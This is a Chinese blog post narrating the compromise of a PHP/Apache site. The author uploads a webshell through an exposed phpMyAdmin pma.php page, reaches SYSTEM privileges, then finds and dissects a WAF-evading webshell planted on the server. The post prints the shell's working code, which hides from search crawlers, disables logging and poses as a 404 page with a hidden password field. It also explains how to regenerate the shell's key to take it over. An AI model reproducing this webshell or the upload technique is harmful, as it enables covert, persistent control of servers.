##引子
朋友给了我一个站让我看下,于是我便先信息收集,看看有什么好利用的攻击面,打开扫描器,一支烟的功夫,大概了解了目标的信息。
1 2 3 4 5 6
| 1、PHP版本5.0.4 2、windows 3、Apache/2.0.54 4、MySQL数据库 5、一个不知名的 cms 6、只开放了 80 443
|
刚把烟头扔到烟灰缸,目录扫描传来了好消息。

打开 phpmyadmin 下的 pma.php 直接可以上传文件,但有个比较蛋疼的就是直接上传不会成功,bp 抓包后也没有回显。但是经过多次测试发现连续回放 2 次后就可以上传成功在当前目录。直接上一句话发现被杀,然后上冰蝎发现也不好使,好吧,直接上了大马。

看了下权限,嗯,很是喜人。直接 nt authority\system 都省的提取了,直接上 cs msf 远控都行留个后门走人或者想扩大战果搞内网也行,这种站估计内网也好不到哪里去,到这里我自己也感觉故事要结束了。结果想看看还有什么利用的信息就随手去其它盘符看看,这一看不要紧。


当我看到这里心中想这不是个蜜罐吧,渗透的过于平滑了,我接着翻了一些文件,直到看到这个备份文件。

一个 2014 年的 udf,是有些年头了。心想这 8 成是个蜜罐了,不能再搞了。于是把结果告诉了朋友,故事到这里就结束了?心想不能白来一趟啊,于是想到这个网站有 waf,看能不能找到一些前辈的免杀好用的网站管理工具。
然后还真发现一个不错的马子,过最新的某狗。直接访问发现是 404 ,但看了下目录下确实是有东西的,今天捕获的大马还很有特色。



研究样本
首先 base64 解密,把它核心的逻辑拿出来讲下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| $color="#2e2"; $default_action="FilesMan"; $default_use_ajax=true; $default_charset="Windows-1251"; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/'.implode('|', $userAgents).'/i', $_SERVER['HTTP_USER_AGENT'])){ header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WIN_VERSION', '1.5'); $php_ver="d0793096edb66de3a4dc00561e40f0bf87"; if(get_magic_quotes_gpc()){ function WINstripslashes($array){ return is_array($array) ? array_map('WINstripslashes', $array) : stripslashes($array); } $_POST = WINstripslashes($_POST); $_COOKIE = WINstripslashes($_COOKIE); } function hpd($hpd=""){ $hpd = strrev($hpd); $hpd .= "!#@$#%"; $hpd = md5($hpd); $hpd = substr($hpd,3,19); return "d".md5($hpd)."7"; } function d7Goin(){ die(" <!DOCTYPE html> <html> <head> <title>404 Not Found</title> </head> <body> <form method=post> <h1>Not Found</h1> <p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p> <input type=password name=pmx style=color:#fff;border:1px solid #fff;> </form> </body> </html> "); } function WINsetcookie($k,$v){ $_COOKIE[$k] = $v; setcookie($k,$v); } if(!empty($php_ver)){ if(isset($_POST['pmx']) && (hpd($_POST['pmx']) == $php_ver)) WINsetcookie(hpd($_SERVER['HTTP_HOST']), $php_ver); if(!isset($_COOKIE[hpd($_SERVER['HTTP_HOST'])]) || ($_COOKIE[hpd($_SERVER['HTTP_HOST'])] != $php_ver)) d7Goin(); }
|
重点来看一下 if 这个逻辑:判断是否存在 $php_ver
这个变量,如果存在,进入下一个 check,将我们 post 的值作为 function hpd 的参数值运算,判断返回值是否和$php_ver
这个变量相等。那看一下密钥生成的这个 function。
1 2 3 4 5
| 1、反转我们输入的字符串 2、在 1 的基础上加上 “!#@$#%” 3、md5 加密 4、在 3 的基础上取[3,19] 的字符 md5加密 5、return "d".md5($hpd)."7"
|
这个生成密钥的过程还真蛮有创意的,一般爆破什么的根本无解,而且非常隐蔽。那我们怎么破解呢?既然现在是nt 权限,可以把它生成密钥的过程单独拿出来,参数我们自己指定,最后把 $php_ver
这个变量改掉就好了。
1 2 3 4 5 6 7 8 9
| <?php $hpd = "123asdf"; $hpd = strrev($hpd); $hpd .= "!#@$#%"; $hpd = md5($hpd); $hpd = substr($hpd,3,19); $c = "d".md5($hpd)."7"; echo $c; ?>
|

后记
如果以后师傅们碰到蜜罐的话也可以看看蜜罐的特点挖一勺蜜在走XD。